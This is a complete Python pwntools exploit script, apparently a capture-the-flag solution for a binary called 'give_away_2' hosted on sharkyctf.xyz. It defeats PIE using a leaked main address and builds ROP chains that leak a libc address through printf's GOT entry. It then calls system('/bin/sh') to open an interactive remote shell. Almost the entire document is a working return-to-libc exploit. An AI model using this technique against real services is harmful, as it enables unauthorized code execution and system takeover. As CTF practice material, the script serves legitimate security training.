from pwn import *

context(terminal= ['tmux','new-window'])
#context.log_level='Debug'

p= remote("sharkyctf.xyz", 20335)
#p = process("./give_away_2")
#p= gdb.debug("./give_away_2")
elf  = ELF("./give_away_2")
libc = ELF("./libc-2.so")
rop  = ROP(elf)

pause()


plt_printf =  elf.plt['printf']
gol_printf = elf.got['printf'] #printf plt #elf.plt['printf']
#gol_printf = (0x200fc0)


#Printfg = elf.symbols['printf@got']
#pop_rdi = 0x0000000000000903 #pop_rdi address

p.recvuntil("Give away: ")
main = int(p.recvline(),16)



log.info("printf@plt: " + hex(plt_printf))
log.info("prinf@gtl: " + hex(gol_printf))
#log.info("__libc_start_main: "+ hex(Libc_start_main))
#log.info("pop rdi gadget: " + hex(pop_rdi))           

#junk
base= "A"*40

#leaking the main address and finding the pie base address
log.info("main: " + hex(main))
base_pie = main - elf.symbols['main'] 
log.info("base_pie: " + hex(base_pie))
elf.address = base_pie
pop_rdi =  base_pie + 0x0000000000000903 #offset of pop_rdi 
vuln = elf.symbols['vuln'] #funtion of vuln 

#One gadgets
payload = base 
payload += p64(pop_rdi+1) 
payload += p64(pop_rdi) 
payload += p64(elf.got['printf'])
payload += p64(elf.plt['printf']) 
payload += p64(vuln)

p.sendline(payload)
pause()


#leak address
recieved = p.recv(6).strip() # better to use recv instead recvuntil
leak =  u64(recieved.ljust(8,b"\x00"))
log.info("Leaked libc address: "+  hex(leak))

#libc address
libc.address = leak- libc.symbols["printf"]
log.info ("Address of libc %s " % hex(libc.address))

bin_sh = next(libc.search("/bin/sh"))
System = libc.sym["system"]

log.info("bin_sh:" + hex(bin_sh))
log.info("system:" + hex(System))

#Onegadgets 
payload2  = base
payload2 += p64(pop_rdi) 
payload2 += p64(bin_sh) 
payload2 += p64(System)

p.sendline(payload2)

p.interactive()
